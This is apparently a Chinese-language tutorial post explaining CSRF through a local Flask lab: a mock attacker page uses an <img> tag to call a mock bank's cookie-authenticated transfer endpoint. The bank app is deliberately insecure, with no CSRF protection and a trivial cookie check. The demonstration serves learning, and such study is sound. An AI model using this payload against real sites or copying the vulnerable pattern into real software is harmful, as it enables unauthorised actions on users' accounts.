看了好多csrf的介绍,大概意思是 在A网站登录了,存储了cookie,在此期间访问了B网站,B站里面使用可以跨域的标签比如src,来直接调用A站重要接口(例如转账)直接完成转账
之前一直不理解,为什么访问网站B的时候 会带着A的登录信息(cookie)
后来想通了,<img src='http://www.baidu.com'> 其实就相当于 直接发送http://www.baidu.com的请求 ,cookie是与当前发送请求对应的,比如在一个页面下,F5刷新后 有很多请求,比如下图,10.20.2.3对于的是10.20.2.3网站的cookie, 127.0.0.1:8000对应的是127.0.0.1的cookie(顺便提下,cookie是same-site原则,同一个ip不同端口共用一个cookie)
flask实验如下
危险网站B flask模拟程序如下 启动在我自己的ip(10.20.2.3)下
# 此为模拟危险网站B
from flask import Flask, make_response, request, render_template
app = Flask(__name__)
@app.route('/index')
def index():
print('index')
return render_template('./b.html')
if __name__ == '__main__':
app.run(port=5000, host='0.0.0.0')
简单html如下 ,主要代码为
<img src="http://127.0.0.1:8000/account"> 此接口为A网站转账接口,需要认证
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<head>
<title>HTML 页面</title>
</head>
<body>
<img src="http://127.0.0.1:8000/account">
</body>
</html>
<script>
</script>
正常银行网站模拟如下: 启动在127.0.0.0 下
from flask import Flask, make_response, request
app = Flask(__name__)
@app.route('/login')
def login():
res = make_response('suc')
res.set_cookie('key1', 'value1')
res.set_cookie('key2', 'value2')
user_name = 'user'
password = 'pass'
return res
@app.route('/account')
def account():
if request.cookies.get('key1') == 'value1':
print('转账10000')
return '转账10000'
else:
print('未登录')
return '未登录'
app.run(port=8000)
这里我用127.0.0.1 和自己ip(10.20.2.3) 来作为不同域,不会共享cookie
首先访问A网站http://127.0.0.1:8000/account,显示未登录
访问http://127.0.0.1:8000/login 获取cookie
再次访问http://127.0.0.1:8000/account
因为有cookie 所以成功通过认证
这时访问危险网站http://10.20.2.3:5000/index
可以看到 有cookie,成功通过了认证,它利用了原网站的cookie
这样就完成了一次攻击